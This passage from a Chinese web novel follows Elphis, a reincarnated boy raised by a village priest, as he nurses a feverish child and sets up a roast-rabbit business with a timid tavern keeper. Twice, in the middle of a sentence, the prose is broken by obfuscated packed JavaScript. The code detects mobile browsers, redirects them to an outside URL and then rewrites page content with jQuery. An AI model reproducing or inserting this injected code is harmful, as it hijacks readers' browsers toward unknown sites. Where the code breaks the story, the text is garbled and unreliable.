于是,卡文牧师原本肃穆的小教堂后面的院子里摆放着艾尔菲斯研究的各种乱七八糟的材料,教堂不远处还种了菜,养了鸟兔,利塞小镇最有氛围感的地方逐渐变得寻常。 马丁看着被递到眼前的活兔子,无奈道:“艾尔,我很乐意教你射箭,也很期待以后跟你作伴打猎,你不需要准备谢礼,把兔子卖到列夫的酒馆,你可以获得二十个铜币呢。” 艾尔菲斯见他不接,主动进了院子把兔子放进笼子里,“马丁大叔,您不要客气,我养了很多兔子。” 马丁不可思议地惊呼一声,“你居然真的养兔子了,数量太多可不好卖。” 马丁的父亲以前也看重兔子繁殖快的这一点,还想靠养兔子发一笔小财。 可惜小镇里有闲钱买肉的人不多,而且他们实在想吃了,更愿意自己去森林里碰碰运气。 他父亲也委托养了马匹的商人老爷带去城里,城里也并不好卖,因为那里有集市,集市什么都有,不缺肉食,卖出去的钱还要给商人老爷分佣金,结果,马丁的父亲养了几个月就放弃了,剩下的留着自己吃了。 艾尔菲斯之前听马丁劝自己的时候说过这件事,小少年笑了笑,“别担心,马丁大叔,我心里有数的。” 在森林里找到的新植物要先喂给兔子看看有没有毒,皮毛可以做冬天的衣服,肉他准备带去城里做成熟食卖,也可以在打猎的时候作诱饵,用血腥味吸引食肉类野兽出现,一兔多用,这个兔子,他还真是非养不可。 马丁也不多劝,艾尔小小年纪,却是有本事的,说不定他能想出好主意赚到钱呢,也不知道是不是贵族血脉天生都这么精明? 手握弓箭的小孩儿银发高束,身姿挺立,他轻抿着淡红柔软的薄唇,聚精会神的样子竟有一分迷人的危险,难以想象他长大后会有何等风采。 马丁觉得以后小镇的女孩都要抢着艾尔当丈夫了,还好他和小艾尔不是同一辈人,他已经娶到妻子了,没有竞争压力。 看着小孩儿反复拉弓上箭固定角度的动作,马丁不由夸赞道:“艾尔,你的臂力很稳,真是太适合练箭术了!哦~亲爱的,你一定很快就能学会,我真是等不及带你去打猎了,我记得我当年也是在和你差不多的年纪被父亲带去的。” 马丁这些年自己一个人在森林里游走,怪无聊的,不过他相信自己很快就有伴了。 艾尔菲斯在心中点头:每天打一遍太极和八段锦的好处这不就来了。 “马丁大叔,您知道我一直很期待去森林深处看看的,您放心,我一定会勤加练习的。” 艾尔菲斯在马丁家练了半日箭术,快到饭点才回去做饭了,下午下雨了,他便老实呆在自己屋子里思考赚钱计划。 这么多年,艾尔菲斯该认的字也认了,该背的教廷圣典和肉麻的颂词也背了,放在教堂里的书也看完了,卡文便也放松了对孩子的教导,因此艾尔菲斯的自由时间很多。 他又闲不下来(主要是因为没有任何娱乐项目可以打发时间),因此不是在动手折腾事物,就是在动脑计划未来。 未来十几年估计都要在利塞小镇和骑马也需要小半日才能到达的拉斐城赚钱。 等存够了钱,他就在城里开个小食馆,比起烹饪方式局限于炖煮烤,食谱长久都没什么创新的异世土著,他一个堂堂种花家的吃货血脉稳赢好吗? 关于他的厨艺是如何练成的?在此感谢老师和师母的悉心教导。 艾尔菲斯倒也没想过去更大的城市发展,一来这个世界由王权和神权当道,什么律法,神官准则,多半是形同虚设。 若他的商业发展触及到了别人的利益,没准儿会被扣个黑暗种族的帽子被“净化”了。 在艾尔菲斯看来,教廷识别、检举、处死所谓黑暗血脉的流程,跟欧洲的女巫审判一个性质,他一个无权无势的平民可不敢舞到大人物面前。 二来,他的相貌实在打眼,当初那个想杀死他的女人,看穿着和气质就不是常人,万一倒霉被她注意到了,没准儿又要被她杀一次。 所以艾尔菲斯打算低调生存,就在拉斐城这个偏远小城混混就好了,等开了食馆,他就雇人帮忙,自己做个闲散老板,偶尔可以遮严实点去远处旅游,见识一下异世独特的人文风景。 如果说上辈子艾尔菲斯还会创业,还有做大做强的野望,这辈子嘛,他觉得能顺利老死都不错了,野心什么的还是算了吧,形势比人强啊…… 艾尔菲斯思考着未来几天的安排,光线昏暗,雨声催眠,没过多久他便睡过去了。 等他从午觉中醒来,雨已经停了,艾尔菲斯准备去看看他养的鸟兔有没有及时躲进棚子里避雨,他的金疙瘩们可不能生病。 从后房走出来,艾尔菲斯便见卡文站在教堂门口,面露愁容,顺着他的目光一看,瞧见了玛吉婶婶匆匆离去的背影。 艾尔菲斯随口问道:“刚下完雨,路又不好走,玛吉婶婶现在过来做什么?” 卡文叹息一声,“小威利昨天发热,一直没有退下去,头很疼,早上还控制不住地抽搐了一次,玛吉很担心。” 艾尔菲斯不由蹙眉,“难道婶婶是来恳求神明庇佑的?” “是啊,威利的爸爸去林子里采了药熬水喂给他,可是小家伙都吐出来了,这两天基本没吃下东西,玛吉夫人想留在神像面前祈祷,让神明注意到这里,消灭病魔,不过我让她到拉斐城买内愈魔药了。” 艾尔菲斯稍稍睁大眼,颇有些不可思议——您这次居然站在了科学这边?? 就艾尔菲斯了解到的,这个世界的医疗手段就是各种苦涩的魔法药水,如卡文牧师刚才提到的内愈魔药,就主治咳嗽流涕头痛等感冒症状,还有个外愈魔药,倒在伤口处促进外伤愈合的。 艾尔菲斯没见过,但他认为那些玩意儿应该跟中药差不多,编点魔法元素骗平民说他们普通人是制造不出来的,然后垄断市场,卖的巨贵,一支低等内愈魔药就卖三金币! 平民一家几口,一年的吃穿用度加起来也才三五个金币! 艾尔菲斯看不惯资本家抢钱的行为,却也无可奈何,如果魔药是这个世界主要的医疗手段,那说明它确实是有效的,希望玛吉婶婶可以买到。 艾尔菲斯颇为欣慰地调侃卡文牧师,“爷爷,看来您现在不认为神明能帮我们祛除病魔了?” 卡文肃着脸看他:“艾尔,光明神大人是无所不能的,我们不能质疑这一点!只是世界辽阔,呼唤他圣名的信徒千千万万,神明一时注意不到我们这里也是正常的,玛吉夫人去照顾小威利就好,祈祷的事还有我们。” 艾尔菲斯嘴角一抽,该不会他也要…… “艾尔,还不快过来。” 艾尔菲斯立即换了副担忧的表情,“爷爷,我很担心威利,您刚才说他这两天没怎么吃东西,我想熬点粥,蒸点甜面包给他,可以吗?” “哦,我贴心的艾尔,这当然可以,那我去祈祷就可以了,你去给威利准备食物。” 别人的面包都是烤的,他家艾尔却隔着水把面团蒸熟,面团里面还加了一点从森林里取来的蜂蜜,那叫一个软和香甜,希望可怜的小威利会喜欢吃。 艾尔菲斯煮了粥,用黑麦粉蒸了几个馒头,又盛了一小碟泡菜,端着餐盘往玛吉婶婶家去了。 威利今年六岁了,之前一直是个健康活泼的小男孩,从来没像现在这么难受过,头疼,咳个不停,吃不下饭,也喝不下药,身上越来越无力,小家伙能感受到爸爸妈妈慌乱无措的情绪,他不禁有些害怕——他是不是要死掉了啊呜呜呜呜…… 艾尔菲斯来的时候,就看见威利在有气无力地抽泣,玛吉婶婶坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711027|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床边哄他。 “婶婶,我来看看威利怎么样了,卡文爷爷正在教堂为他祈祷。昆尼尔叔叔进城里买药了吗?” 玛吉有些高兴还有其他人关心自己的孩子,紧皱的眉头放松了些。 “艾尔,谢谢你来看望威利,也替我感谢牧师阁下。昆尼尔去林里找草药了,因为贝蒂夫人说商人老爷昨天进城了,本来要今天回来的,但是今日又下雨,他是不会回来了,我们找不到马匹,没办法进城了。” 说到后面,玛吉脸色又难看了许多。 艾尔菲斯心里叹了口气,却没表现出悲观情绪,“威利,我给你带了食物,快起来吃一点,吃饱了才有力气打败病魔。” 威利看着艾尔菲斯一如既往的笑容,恐惧的心情不由放松了一些,小家伙可怜兮兮地撒娇:“艾尔哥哥,我吃不下。” 艾尔菲斯拿着一个馒头递过去:“这是甜的,你试试。” 小孩子都喜欢吃甜,威利好奇得接过面包,咦?好软!他吃了一口,麦香和蜂蜜的甜香给了小孩儿的味蕾来了个巨大的冲击。 “真的是甜的!艾尔哥哥,这个面包真好吃!咳咳…” 艾尔菲斯笑了笑,没有纠正这叫馒头,随便大家怎么认为吧,他总不能以后每次有人叫错都要纠正一次。 其实食材不是白面,也没有更好的发酵,口感和味道远不如现代的馒头,不过总比烤面包要好很多,这个世界的人在食物上很容易得到满足。 艾尔菲斯摸了摸小孩儿滚烫的额头,“你乖乖吃完,身体会好很多的。” 镇上的小孩儿都很崇拜艾尔菲斯,威利也不例外,他被艾尔哥哥冷静而笃定的情绪感染,突然没那么害怕了,大力点头,“嗯嗯,我会吃完的!” 玛吉看威利精神了许多,终于露出了笑容,“艾尔,真是太谢谢你了!” “婶婶不用客气。” 艾尔菲斯从记忆深处挖出自己为数不多的医学常识…… “威利,身体有感觉热吗?” 小家伙嚼着甜面包,口齿含糊道:“昨天有点冷,今天就有点热。” 那就得散热了……艾尔菲斯拍拍威利头发乱糟糟的小脑袋,“你先吃着,哥哥去拿点东西给你治病,过一会儿就来。” 他这一说,不止威利开心,玛吉也很期待,小镇的人都知道艾尔被牧师教养着,是镇上数一数二有学问的人。 别看他小小年纪,却非常靠谱,有时候他们这些大人遇到困难了,都会去跟艾尔聊聊,说不定能收获一个好主意。 艾尔菲斯到镇上唯一的小酒馆买了一杯酒带走,还被老板好心挽留说在他这里喝就好,醉倒了他再送小家伙回去。 艾尔菲斯抽了抽嘴角,没有多说,付了一枚铜币就跑了,还好古代人养孩子比较随意,不然他还买不到酒。 “来擦一擦身体。” 威利任由艾尔哥哥拿湿布给他擦拭,“哥哥,这个药不用我喝吗?”他吸吸鼻子,这个药水闻起来跟酒真像。 “不用,你睡一觉吧,睡醒就不发热了。” 威利眼眸一亮,艾尔菲斯的淡定让他很是安心,“好,我都听哥哥的!” 艾尔菲斯再次拧干麻布,叠好放在了小孩儿额头,酒精散热的方法不一定对威利有用,他这么说,不过是希望能起点安慰剂效应①。 实话跟玛吉婶婶说了,但她精神还是比之前振奋了许多。 威利睡着期间,艾尔菲斯又用酒给他擦了几遍身体,也等到了昆尼尔叔叔采药回来。 褐线草长的像细长的枯草,艾尔菲斯听卡文爷爷说过这是内愈魔药所用材料里最普通的一种,没有元素纯净度的生长要求,是低等魔植。 反正艾尔菲斯看着这其貌不扬的药材,觉得跟杂草没什么区别,什么魔植不魔植的,说的那么夸张,熬水喝下去,止咳都不一定能起作用。 让大家松了一口气的是,威利睡了半个下午,真的退烧了,整个人精神了许多,除了还有些感冒症状,似乎没其它问题了。 艾尔菲斯还是让他喝了一碗褐线草熬的水,毕竟又没有其它的药,死马当作活马医吧。 好不容易应付完威利一家的热情感激,艾尔菲斯回到小教堂,不出所料地看见爷爷还在神像面前祈祷,说着威利一家人有多好,孩子有多可怜,他们的信仰有多虔诚,赞美光明神有多善良仁慈,打败病魔是举手之劳的事情…… 艾尔菲斯嘴角一抽:我怀疑你在道德绑架。 他实在想不通老人家怎么会有这么多话说,如果真的有光明神,人家指不定早就屏蔽了人类,不然得被吵死…… “爷爷,威利已经退热了。” “嗯?没有用魔药吗?”这点时间,根本不够进城买药的。 “没有,给小家伙吃了些食物,让他凉快下来,睡一觉醒来就好了很多。” 卡文面露欣喜,转头又感激地看着神像,“哦!这一定是神迹,是光明神大人听到了我们的祈祷!” “……”习惯了,心情毫无波动。 小少年懒散的神情突然凝固,眼珠缓缓移动,注视着突然出现的淡白色光晕,从卡文爷爷身上不紧不慢地飘忽到屋顶,然后消失不见…… 艾尔菲斯发着愣,这种情况,怎么有点像飞蚊症……② 他不理解,没有电子产品的迫害,他怎么还会得眼疾??! 艾尔菲斯深深地吸了一口气,板着小脸坐到旁边的长椅上,给自己来了一套眼保健操——爱护眼睛,从现在开始。 4. 第 4 章 白天利塞小镇的人要劳作,所以卡文牧师一直将布道安排在晚上,镇民们吃过晚饭后若是闲来无事,便可来教堂听一听。 艾尔菲斯还小的时候能看出来,刚开始大家纯粹是来听故事、找个地方你一言我一句的聚众聊天打发时间的。 后来嘛……在经年累月的洗脑之下,虽然没见过魔法魔兽,更没见过神迹什么的,却也抱了宁可信其有,不可信其无的态度,念颂词和祈祷的态度都要比以往虔诚许多。 今天,卡文牧师讲完一个教廷神官捉拿下控制上千骸骨的黑暗魔法师的故事,以彰显教廷为民除害的态度。 临了,众人照例双手合十交叉,看着前方的神像,“感谢光明神大人指引信徒清除邪恶的黑暗力量,庇护人族。” 身体已经痊愈了的威利坐在人群之中,和以往一样跟着父母念感谢语,不一样的是,小家伙今天的表情认真了许多。 小威利以前很喜欢听牧师爷爷讲故事,但注意力也只放在了故事的剧情发展上。 一旦卡文开始赞扬神明和教廷,小家伙就要么发呆,要么昏昏欲睡,要么东张西望和小伙伴们做怪表情,感恩之语说的很不走心——因为小孩子往往要亲眼见证或者经历一些事情,才会有更直观的感受,仅从语言中,威利很难体会到神明和教廷的恩德。 此刻,小威利看着坐在最前排的背影,忽然理解到了牧师爷爷对光明神的描述—— 祂是创世神最钟爱的孩子,父神赐予祂无所不能的才能,和耀眼如日轮的容貌。 祂掌管世间一切光明,是星月,是灯火,在黑夜中为我们指引道路。 祂温暖的神力全天候照看着我们,使弱小的信徒不受制于黑暗和寒冷。 只要你虔诚地呼唤祂,慈悲的光明神大人将赐予祝福,为你驱逐一切苦难! 威利曾经仔细观察过神像,那全身上下的铜色实在让小孩儿想象不出什么叫耀眼如日轮的容貌,也体会不到被庇护的安全感。 但是他在以为自己要病死的时候,艾尔哥哥出现了,是和平时一样沉稳可靠,万事尽在掌握的模样,带来了他这辈子吃过最好吃的食物,然后让他睡一觉,都没有喝苦苦的药水,病魔真的就被驱逐了! 艾尔哥哥真是太厉害了! 如今,艾尔菲斯在威利眼里的形象特别高大——平日里他就对镇上的小孩儿多有照看,还教了他们很多东西,威利他们就已经觉得哥哥聪明可靠了。 加上这次轻轻松松地赶走了难缠的病魔,艾尔菲斯在威利看来简直无所不能! 小家伙亮晶晶的眼睛一直盯着前面腰板笔直的背影,这个人,有着如日轮般耀眼的容貌,有驱逐苦难的力量,让人心安的气质——这一刻,威利心中始终模糊的神明形象有了清晰的面容。 艾尔菲斯正敷衍地感谢着神明,完全没有注意到有一点光晕从威利身上飘到了他这边,然后没入了他的身体。 等镇民们散去之后,艾尔菲斯赶上了小镇商人老爷的脚步,“威尔叔叔。” 威尔是隔三差五就驾着马车去拉斐城卖货的人,卖自家的生产,也帮镇民们卖蔬菜果子,山珍野味,或者其它手工品等等,当然,这么麻烦的事情他是要抽成的。 总是被镇民们喊商人老爷,其实威尔只能在利塞小镇里算是有钱人,到了城里,只是众多货商中很平凡的一个罢了,连个位置好点的店铺都买不起。 被艾尔菲斯一叫,留着一撇胡子的中年男人便转身看他,热情地笑着:“小艾尔,有事吗?” 威尔对可不会对其他镇民喜笑颜开,毕竟关系太好了就不好赚人钱了。 但是艾尔菲斯不一样,小家伙给他出过主意,让他卖货比以前快多了。 比如买肉送野果子,比如买一把菜三铜币,两把菜五铜币,比如妇人来买的时候顺手送一束扎好的野花,再比如那什么积分累计送礼物…… 没有人不喜欢占便宜,这些小手段一用,威尔的摊子生意爆满,虽然总是附送赠送听起来很亏,但那些赠品都是出发进城之前在林子里摘的,都是免费的东西,亏不了。 以前经常第一天卖不完,威尔就得找地方住,付食宿费,第二天接着卖,如今,他早点出发,晚上就能赶回来,托艾尔的福,威尔现在是既省事又省钱!不怪他对艾尔菲斯态度这般好。 他还不止一次发出感叹:贵族血脉中流淌的精明真是可怕! 艾尔菲斯跟商人商量:“威尔叔叔,您下次进城是什么时候,我可以跟你一起吗?” 威尔挑眉:“你想城去玩?当然可以,明天我去林子里备一筐赠品,后日我们就出发。” 如果是其他小孩儿,他是万万不会答应的,但是艾尔很乖,他是不会乱跑的。 艾尔菲斯不好意思地笑笑:“您的马车有地方帮我放十只兔子吗,我想拿去卖了。” “哦!小家伙,我还以为你是想见识一下城里的热闹。我可以帮你卖掉,不会抽取佣金的。” “也是想顺便去城里见识一下,我和您一路吧。” “我很乐意,我相信我们一定会有一个愉快的旅程的。” 第二天夜晚,艾尔菲斯特意睡得很早,到了约好的那一日,天还没亮他就醒了,完全不知道现在是几时几刻。 锅里煮着早餐,艾尔菲斯去给十只兔子放血脱皮。 之前刚做这种事的时候他还扭扭捏捏,极度不适,如今已经能干净利落地做这种血腥的活儿了,他想改善生存条件,就不能矫情。 油灯的昏黄光线下,小少年满手血腥、面无表情的样子有种冰冷的美感。 艾尔菲斯打算在城里做熟食卖,应该可以卖出活兔三倍的价格,他总不能到了城里再费时间杀兔子,只能提前准备好肉了。 反正中午之前就能到,这天还有几分寒意,肉不会这么快变质的,至于皮毛,他得留着做衣物和被子,冬天冷死了好吗。 等林中的鸟儿开始叽叽喳喳,天也蒙蒙亮了,艾尔菲斯拎着大篮子去商人家找他。 威尔正在喂马,听见问早的声音,回头面露惊讶,多打量了两眼来者的面容才说话:“艾尔?亲爱的,你对你的头发做了什么!” 艾尔菲斯穿着一身灰色麻布衣裤,系着黑色腰带,裤腿塞进棕色长靴里面,分明是常见又没有丝毫亮色的打扮,但小少年面容精致,长手长脚,腰背挺直,把一身死气沉沉的颜色衬得特别精神。 这一套穿在别人身上显露的是贫穷粗糙,穿在他身上就是简洁朴素,如果艾尔菲斯的头发还是原来的银色,那还会添几分贵气。 今天的艾尔黑色长发高束,让威尔很是不解,原来的颜色多好看呐。 艾尔菲斯装作不好意思地笑笑:“您们总说我像贵族家的孩子,我那头发太显眼了,万一城里的人都围着我看怎么办,很耽误时间的,所以我就染成黑色了。” 其实是担心遇到想杀他的那个女人,要不是没办法,他想连瞳色也一起改了。 威尔一听,也是这个理,他以为小家伙脸皮薄不想太惹眼,就这么轻易地被忽悠过去了。 至于怎么染成黑色的,威尔也不好奇,因为这是镇上的人都知道的操作。 森林里有种野花叫四色花,不同生长周期呈现出不同颜色,花苞是白色的,花朵是淡黄色的,盛期之后逐渐转变为琥珀色,等它枯萎之后便呈黑色了,熬煮花朵可给头发上色,叶子熬水则可褪色,镇上的妇人偶尔会图新鲜换个发色。 艾尔菲斯坐在威尔旁边,后面连着一块四方围起来的木板,一层枯草垫在木板上免得货物磕碰到,下面按了四个轮子,就是威尔叔叔的货车了。 对于坐惯了现代交通工具的人来说,这程路堪称颠簸。 艾尔菲斯庆幸自己干了几年活,身体素质还算不错,不然这一抖一抖地坐半天,命都要抖没。 小少年一脸恍惚地被威尔扶下马车,身体晃悠几下…… 赚钱!他一定要赚大钱买一辆豪华马车!下面垫五层毛毯,放羽毛枕头和羽绒被,布置成一个能睡觉的地方! 威尔欣赏地拍拍小家伙的肩膀,笑道:“艾尔,你居然没吐出来,可真是太厉害了,之前我的妻子,你贝蒂婶婶陪我来了一次,就再也不来了。” 艾尔菲斯拿水囊灌了自己几口凉水,这才舒服了一点。 “威尔叔叔,您知道城里哪家酒馆生意最不好吗?” “这我很清楚,是格雷家的酒馆。其实以前他们家的食物还不错,就是老格雷去世之后,他的儿子,小格雷接手了酒馆,可惜那孩子实在不适合做食物,他父亲教的时候他没有认真学,总是躲着看书。” 正是因为味道不怎么样,所以卖的比别家便宜,威尔这种节约还不挑食的人就喜欢去那里光顾。 艾尔菲斯问了地址,就暂时和威尔分开了。 威尔已经在路上听孩子说过兔肉要怎么卖了,他也不约束着人家,放任艾尔菲斯去做自己的事情,只是约好了在格雷家的酒馆等他,威尔这边卖完东西就要来接艾尔菲斯一起回去了。 —— “日安。” 格雷正守在店里看书,听见声音被惊了一下,看见来人是个长得特好看的小孩儿,稀奇地盯着人家,“日、日安,客人想吃点什么吗?” 其实他还想问艾尔菲斯有没有带钱,不过他看着礼貌微笑的小家伙,犹豫了一下,没问出来……这孩子看着很有教养,不像是要吃白食的。 格雷是快四十的中年人了,棕发棕眼,个子较矮,人微胖,看着挺和善,对一个小孩儿都是小心翼翼的,是个内向的性子。 艾尔菲斯笑容更深——看来不用换地方了,在没有任何资本之前,这样好掌握的同伴正合适。 “老板您好,实在不好意思,我身上没有带够吃饭的钱,我可以借用您的厨房烤只兔子吃吗?肉我自己带了的,等我烤好,分您一半作为报酬可以吗?” “啊……” 格雷没想到会听到这种要求,他看着小孩儿神情有几分不好意思,不忍这么可爱的脸露出失望的表情,格雷犹豫道:“可、可以吧…” 反正也快到吃午餐的时候了,格雷有些吃腻了自己的手艺,尝个鲜也不错,就是…… “小家伙,你会烤肉吗?”这孩子看起来干净白嫩,不像会做活的人。 “当然,请不用担心。” 作为感谢,艾尔菲斯从他拎着的篮子里拿出两个大果子给老板,让格雷心里仅存的一点被外人进入他家厨房的别扭也消失了。 这个世界的烤肉往往会用到带着独特气味的大叶树来烧火,需要用到的油对平民来说也算贵重,如果艾尔菲斯去生意好的酒馆提出自己的要求,多半会被当成碍事的给轰出去……果然还是冷清的地方,才有发挥的机会。 担心自己的厨房和调味料,格雷也不去看书了,就站在艾尔菲斯旁边看着他。 让他意外的是,人家小孩儿的动作看上去比他都要娴熟,那气定神闲的样子和自己平时的表现形成强烈对比,格雷大受打击。 如果说前面的肉香味没什么特别的,等艾尔菲斯从被麻布遮掩的大篮子里拿出一个油纸包,把里面包着的粉末均匀撒在滋滋冒油的兔肉上后,格雷情不自禁地分泌出口水——神明在上,这是什么味道! 艾尔菲斯看着老板不惧滚烫温度,一个劲儿地凑到肉前使劲闻的动作,简直不忍直视…… 好歹家里也是做食物经营的,能别表现的像是三天没吃饭的样子吗? 很快,这霸道的香味传开,将路人勾了进来,“天呐,格雷,你这是在做什么! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711028|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太香了太香了!” “真厉害,格雷进步了很多。” “是的,闻起来比他父亲做的食物更美味!” 老板尴尬地回话:“是、是烤兔肉。” “哦!这真是太棒了!我喜欢吃兔肉,请给我们一整只,再来三杯麦酒。” 格雷欲哭无泪,终于有生意了,可是这钱他赚不了啊! 眼看客人都一脸期待地找地方坐下了,格雷尴尬的脸都红了,还在组织语言想着怎么拒绝人家。 “一整只烤兔,你平时会卖多少钱?” 格雷愣愣地回答艾尔菲斯:“四十铜币。” “城里其它酒馆呢?” “好像都是五十铜币……” 艾尔菲斯深深地看了老板一眼,便宜这么多还没什么生意,怕不是个厨房杀手。 厨房杀手也不至于,但格雷确实没啥厨艺天赋,凭自己的本事只能挣扎在温饱线上,但这个店铺是他家的,不用付租金,还有父亲留下的遗产,至少目前来说,格雷对自己的处境也没有很焦虑。 艾尔菲斯跟老板打商量:“我篮子里还有几只兔肉,本来就是要卖出去的,你不介意的话,我可以借您的地方把它们都烤了卖出去,得到的钱,我七你三,可以吗?” 有解燃眉之急的方法,格雷连连点头,“可以可以!” 他只付出了一点木柴和油,自己都不用动手就能拿三成,其实是赚了点的。 “您可以告诉客人,我们的调味料很珍贵稀少,所以一整只兔子要卖八十铜币。” 格雷瞪大眼睛,被吓的吸了一口凉气,“多少?八十?!” 在这个物价不高的偏远小城市,非必需品卖的这么贵是不会有生意的。 “是的,请您就这样告诉客人吧。”他也只是试一下,实在不行的话再降价就是。 明明没过多久,两人却好像换了身份,似乎艾尔菲斯才是有主见有本事的大人,格雷更像一个听话的小孩儿。 格雷将涨价的事告诉客人,几人犹豫了一下,想到他们三人平摊也不算很贵,便表示这没有问题,请尽快上菜。 这味道闻着就不一般,老板在材料上废了钱,涨价也可以理解。 后面又陆续有客人进来,不免有人犹豫,但是这香味实在让他们胃口大开,若是不吃上一次,恐怕晚上睡觉都不踏实,一整只太贵,买一部分尝尝也好。 艾尔菲斯很快就将自己带来的兔子烤完了,顺便还教格雷怎么做其它的菜。 两个人忙得热火朝天,格雷更是一边给别人端菜,一边咽口水:他到现在都没吃上小艾尔烤的肉啊!!! 这世界又没有冰箱什么的,酒馆当日准备的食材都不多,尤其是格雷这里就更少了。 等食材用完,酒馆才不再招呼新客人了,格雷终于能坐下了。 “格雷,你今天炖的豆子也很美味。” “你以前做的肉排好老,今天的却很嫩,酱汁也很美味!” 格雷听着大家的赞美,心虚地解释:“我得了一位厉害的老师的指导。” “是吗,你真幸运,一定要好好学啊!” 小艾尔不许他暴露真正的厨师是谁,说担心被其它酒馆老板缠上,格雷也就信了,把艾尔帮他找的理由告诉客人。 艾尔菲斯还不想直面商业竞争者,只能尽量隐身。 两个人在厨房,边啃冷馒头边分钱,用艾尔菲斯的食材做的菜是三七分,格雷的食材是五五分,格雷一点都不觉得自己吃亏,老实人看着一堆钱币,流下感动的泪水。 “你哭什么?” “这面包好软好甜,真的好好吃啊!” 艾尔菲斯不禁露出嫌弃的眼神,这没出息的家伙……不过,应该足够听话,总比贪心不足总想算计他的人强。 “艾尔,你好厉害,你可以一直来这里做事吗?赚的钱就像今天这样分!” 艾尔菲斯叹了一口气,稍微有点进取心的人都会在刚才偷师,然后自己单干。 你这么分钱还这么听话,跟把店送给我没什么区别了。 讲真,这么大把年龄还如此憨厚,艾尔菲斯深深觉得这店面没被恶意收购都多亏城民淳朴善良。 “不行,我家住得远。不过我可以隔几天来一趟,给你送刚才用的香料粉,再教你做菜。” 艾尔菲斯细细给他讲了合作模式和利益分配,格雷只是憨厚老实,懂得感恩,并不是笨,他很快就意识到小家伙超乎年龄的聪明。 如果是对方是成年人,格雷即便觉得有利益也会升起警惕,但是艾尔菲斯的年龄正适合给他当儿子,格雷实在不觉得这么可爱的小家伙有坏心思,不管艾尔菲斯说什么他都欣然同意。 艾尔菲斯:以后生意稳定了,一定要雇个机灵点的帮手,这家伙去管账就可以了! 香料粉是艾尔菲斯在森林里晃悠了几年才选定好原材料做的配方,每一样植物,他都掺在兔子饲料里喂了大半年,确定没有中毒现象才敢继续研究。 又花了一个月调整配方,最终味道有几分像十三香,他才研磨了一堆粉料拿进城里。 香料粉还剩了不少,艾尔菲斯将之卖给格雷,让他自己把生意撑着。 等威尔卖完货物来到店里,准备点份便宜午餐的时候,惊讶的发现居然卖完了! 这个时候,店里的客人都已经走了,但是余香还是很诱人,威尔非常遗憾,也只能去别家店里吃了再来接艾尔一路回去。 威尔大叔吃饭的时候,艾尔菲斯去买了些油和糖,这两样挺贵,利塞小镇的人很少买,更没有人在那里卖,艾尔菲斯便趁进城的机会给买了,就他脑袋大的一罐油,一小包糖,今天赚的钱就没了一半…… 稚气未脱的可爱小孩儿垮起张小猫批脸:我好穷! 5. 第 5 章 两个月后。 驾马车进城的路上,威尔面向朝阳,心情美妙,贴心地关心着坐在旁边的孩子:“小艾尔,要不要停下来歇歇?” 是的,他们现在已经有闲工夫在半路歇歇了。因为最近几次,镇民们的货物都直接拉到了格雷家的酒馆,全部卖出去了! 威尔再也不需要去集市一点一点地卖货了,这都多亏了聪明的艾尔教了格雷怎么做美味的食物,格雷才愿意从他这里买食材。 艾尔菲斯笑笑:“不用了,已经坐了好几次马车,我都习惯了。” “亲爱的,你做的食物简直太美味了,如果你能在镇上开个酒馆,我保证每天光顾。” “不不不,这听起来太累了,威尔叔叔,我一个孩子,可没这么多精力做生意。”而且他们镇上的人哪儿有这么多闲钱可以让他赚。 “哎,那好吧,希望你长大了能有这个想法。” 进城之后,两人直奔酒馆。此时吃午餐还有些早,但是这家店的座位几乎被坐满了。 在大堂忙活的是格雷和一个女孩儿,这孩子今年七岁,做事儿却很勤快。 莫娜扎着两条麻花辫,褐发棕眼,偏瘦的脸颊上有些小雀斑,相貌平凡,笑起来却很有感染力,好像很享受这种忙忙碌碌的样子。 看到艾尔菲斯进门,莫娜眼睛一亮,小跑过去,“艾尔少爷,您送货来啦,辛苦了!” 艾尔菲斯摸摸孩子的小脑袋,“别叫我少爷,叫艾尔哥哥就行。” “不行不行,哥哥说了您是主人,我不可以尊卑不分。” 艾尔菲斯嘴角一抽,莫恩那小子还真想把他们兄妹俩卖给自己吗? 一个月前,艾尔菲斯遇到了莫恩和莫娜。 莫娜是早产儿,她的母亲在她出生后一直身体不好,很快就操劳过度病逝了。 四年前,那好逸恶劳,极不负责的父亲实在受不了带着两个累赘生活的日子,也烦透了外人说他不负责的指指点点,趁兄妹俩睡着,收拾东西离开了拉斐城,自此,九岁的莫恩便带着三岁的妹妹艰难生活着。 除了一个由泥石和干草建成的小屋子,兄妹俩一无所有,甚至经历风吹雨打之后,他们的家都有些破败了。 这里倒是没有禁止雇佣童工的律法,费力气的活他做不动,有个酒馆生意不错,雇他当个杂工,洗菜切菜、扫地抹桌,除了烹饪之外,什么都让他做了,但拿到的工钱却只能让兄妹俩维持温饱,他们随着年龄增长身高抽条,连件新衣服都买不起。 莫娜自小就身瘦体弱,这些年时常生病,莫恩找许多人借了钱,凑够了买内愈魔药的金币。第一次借还好,第二次出于同情,也有几人勉强借给了他,再来第三次第四次,就几乎没人愿意借了,他们都是普通平民,可没有闲钱给那女孩儿买药买一辈子。 莫娜每次生病都会节约的只喝一点点药水,大概一年喝完一支。 长期营养不良,莫娜现在一生病就更难好了。 上个月,莫恩没有借到钱买魔药,他求助无门,怀着一丝希望带着咳到快喘不过气的妹妹去了拉斐城的教堂拜神。 